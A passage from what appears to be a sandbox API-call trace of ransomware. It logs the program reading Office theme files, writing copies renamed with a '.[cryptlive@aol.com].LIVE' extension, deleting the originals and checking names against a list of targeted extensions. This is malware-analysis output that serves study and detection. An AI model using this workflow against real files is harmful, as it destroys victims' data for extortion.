nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.810] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0135.811] SetEndOfFile (hFile=0x3b0) returned 1 [0135.873] CloseHandle (hObject=0x3b0) returned 1 [0135.873] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.873] SetEndOfFile (hFile=0x3ac) returned 1 [0136.166] CloseHandle (hObject=0x3ac) returned 1 [0136.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 1 [0136.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.196] lstrlenW (lpString=".doc") returned 4 [0136.196] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.196] lstrlenW (lpString=".docx") returned 5 [0136.196] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.196] lstrlenW (lpString=".pdf") returned 4 [0136.196] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.196] lstrlenW (lpString=".xls") returned 4 [0136.196] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.196] lstrlenW (lpString=".xlsx") returned 5 [0136.196] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.196] lstrlenW (lpString=".ppt") returned 4 [0136.196] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.196] lstrlenW (lpString=".zip") returned 4 [0136.196] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.196] lstrlenW (lpString=".rar") returned 4 [0136.196] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.196] lstrlenW (lpString=".bz2") returned 4 [0136.196] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.196] lstrlenW (lpString=".7z") returned 3 [0136.196] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.196] lstrlenW (lpString=".dbf") returned 4 [0136.196] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.196] lstrlenW (lpString=".1cd") returned 4 [0136.196] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.197] lstrlenW (lpString=".jpg") returned 4 [0136.197] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.197] lstrlenW (lpString=".doc") returned 4 [0136.197] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.197] lstrlenW (lpString=".docx") returned 5 [0136.197] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.197] lstrlenW (lpString=".pdf") returned 4 [0136.197] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.197] lstrlenW (lpString=".xls") returned 4 [0136.197] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.197] lstrlenW (lpString=".xlsx") returned 5 [0136.197] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.198] lstrlenW (lpString=".ppt") returned 4 [0136.198] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.198] lstrlenW (lpString=".zip") returned 4 [0136.198] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.198] lstrlenW (lpString=".rar") returned 4 [0136.198] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.198] lstrlenW (lpString=".bz2") returned 4 [0136.198] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.198] lstrlenW (lpString=".7z") returned 3 [0136.198] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.198] lstrlenW (lpString=".dbf") returned 4 [0136.198] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.198] lstrlenW (lpString=".1cd") returned 4 [0136.198] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0136.198] lstrlenW (lpString=".jpg") returned 4 [0136.198] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.198] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.198] lstrlenW (lpString="Grid.eftx") returned 9 [0136.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.417] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=18639) returned 1 [0136.417] CloseHandle (hObject=0x3ac) returned 1 [0136.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 0x20 [0136.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.472] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.472] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.473] GetLastError () returned 0x0 [0136.473] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x48cf, lpOverlapped=0x0) returned 1 [0136.475] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x48d0, lpOverlapped=0x0) returned 1 [0136.476] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.476] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0136.476] SetEndOfFile (hFile=0x390) returned 1 [0136.476] CloseHandle (hObject=0x390) returned 1 [0136.477] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.477] SetEndOfFile (hFile=0x3ac) returned 1 [0136.479] CloseHandle (hObject=0x3ac) returned 1 [0136.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 1 [0136.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.482] lstrlenW (lpString=".doc") returned 4 [0136.482] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.482] lstrlenW (lpString=".docx") returned 5 [0136.482] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.482] lstrlenW (lpString=".pdf") returned 4 [0136.482] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.482] lstrlenW (lpString=".xls") returned 4 [0136.482] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.482] lstrlenW (lpString=".xlsx") returned 5 [0136.482] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.482] lstrlenW (lpString=".ppt") returned 4 [0136.482] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.482] lstrlenW (lpString=".zip") returned 4 [0136.482] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.482] lstrlenW (lpString=".rar") returned 4 [0136.482] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.482] lstrlenW (lpString=".bz2") returned 4 [0136.482] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.482] lstrlenW (lpString=".7z") returned 3 [0136.482] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.482] lstrlenW (lpString=".dbf") returned 4 [0136.482] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.482] lstrlenW (lpString=".1cd") returned 4 [0136.482] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.482] lstrlenW (lpString=".jpg") returned 4 [0136.482] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.483] lstrlenW (lpString=".doc") returned 4 [0136.483] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.483] lstrlenW (lpString=".docx") returned 5 [0136.483] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.483] lstrlenW (lpString=".pdf") returned 4 [0136.483] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.483] lstrlenW (lpString=".xls") returned 4 [0136.483] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.483] lstrlenW (lpString=".xlsx") returned 5 [0136.483] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.483] lstrlenW (lpString=".ppt") returned 4 [0136.483] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.483] lstrlenW (lpString=".zip") returned 4 [0136.483] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.483] lstrlenW (lpString=".rar") returned 4 [0136.483] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.483] lstrlenW (lpString=".bz2") returned 4 [0136.483] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.483] lstrlenW (lpString=".7z") returned 3 [0136.483] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.483] lstrlenW (lpString=".dbf") returned 4 [0136.483] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.483] lstrlenW (lpString=".1cd") returned 4 [0136.483] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0136.484] lstrlenW (lpString=".jpg") returned 4 [0136.484] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.484] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.484] lstrlenW (lpString="Opulent.eftx") returned 12 [0136.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.485] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=32857) returned 1 [0136.485] CloseHandle (hObject=0x3ac) returned 1 [0136.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 0x20 [0136.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.485] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.486] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.486] GetLastError () returned 0x0 [0136.486] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x8059, lpOverlapped=0x0) returned 1 [0136.488] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x8060, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x8060, lpOverlapped=0x0) returned 1 [0136.490] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.490] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.490] SetEndOfFile (hFile=0x390) returned 1 [0136.490] CloseHandle (hObject=0x390) returned 1 [0136.490] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.490] SetEndOfFile (hFile=0x3ac) returned 1 [0136.493] CloseHandle (hObject=0x3ac) returned 1 [0136.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 1 [0136.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.496] lstrlenW (lpString=".doc") returned 4 [0136.496] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.496] lstrlenW (lpString=".docx") returned 5 [0136.496] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.496] lstrlenW (lpString=".pdf") returned 4 [0136.496] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.496] lstrlenW (lpString=".xls") returned 4 [0136.496] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.497] lstrlenW (lpString=".xlsx") returned 5 [0136.497] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.497] lstrlenW (lpString=".ppt") returned 4 [0136.497] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.497] lstrlenW (lpString=".zip") returned 4 [0136.497] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.497] lstrlenW (lpString=".rar") returned 4 [0136.497] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.497] lstrlenW (lpString=".bz2") returned 4 [0136.497] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.497] lstrlenW (lpString=".7z") returned 3 [0136.497] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.497] lstrlenW (lpString=".dbf") returned 4 [0136.497] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.497] lstrlenW (lpString=".1cd") returned 4 [0136.497] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.497] lstrlenW (lpString=".jpg") returned 4 [0136.497] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.497] lstrlenW (lpString=".doc") returned 4 [0136.497] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.497] lstrlenW (lpString=".docx") returned 5 [0136.497] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.497] lstrlenW (lpString=".pdf") returned 4 [0136.497] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.497] lstrlenW (lpString=".xls") returned 4 [0136.497] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.497] lstrlenW (lpString=".xlsx") returned 5 [0136.497] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.498] lstrlenW (lpString=".ppt") returned 4 [0136.498] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.498] lstrlenW (lpString=".zip") returned 4 [0136.498] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.498] lstrlenW (lpString=".rar") returned 4 [0136.498] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.498] lstrlenW (lpString=".bz2") returned 4 [0136.498] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.498] lstrlenW (lpString=".7z") returned 3 [0136.498] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.498] lstrlenW (lpString=".dbf") returned 4 [0136.498] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.498] lstrlenW (lpString=".1cd") returned 4 [0136.498] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0136.498] lstrlenW (lpString=".jpg") returned 4 [0136.498] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.498] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.498] lstrlenW (lpString="Oriel.eftx") returned 10 [0136.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.499] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=43193) returned 1 [0136.499] CloseHandle (hObject=0x3ac) returned 1 [0136.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 0x20 [0136.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.500] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.500] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.501] GetLastError () returned 0x0 [0136.501] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xa8b9, lpOverlapped=0x0) returned 1 [0136.503] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xa8c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xa8c0, lpOverlapped=0x0) returned 1 [0136.505] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.505] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0136.505] SetEndOfFile (hFile=0x390) returned 1 [0136.505] CloseHandle (hObject=0x390) returned 1 [0136.506] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.506] SetEndOfFile (hFile=0x3ac) returned 1 [0136.563] CloseHandle (hObject=0x3ac) returned 1 [0136.564] 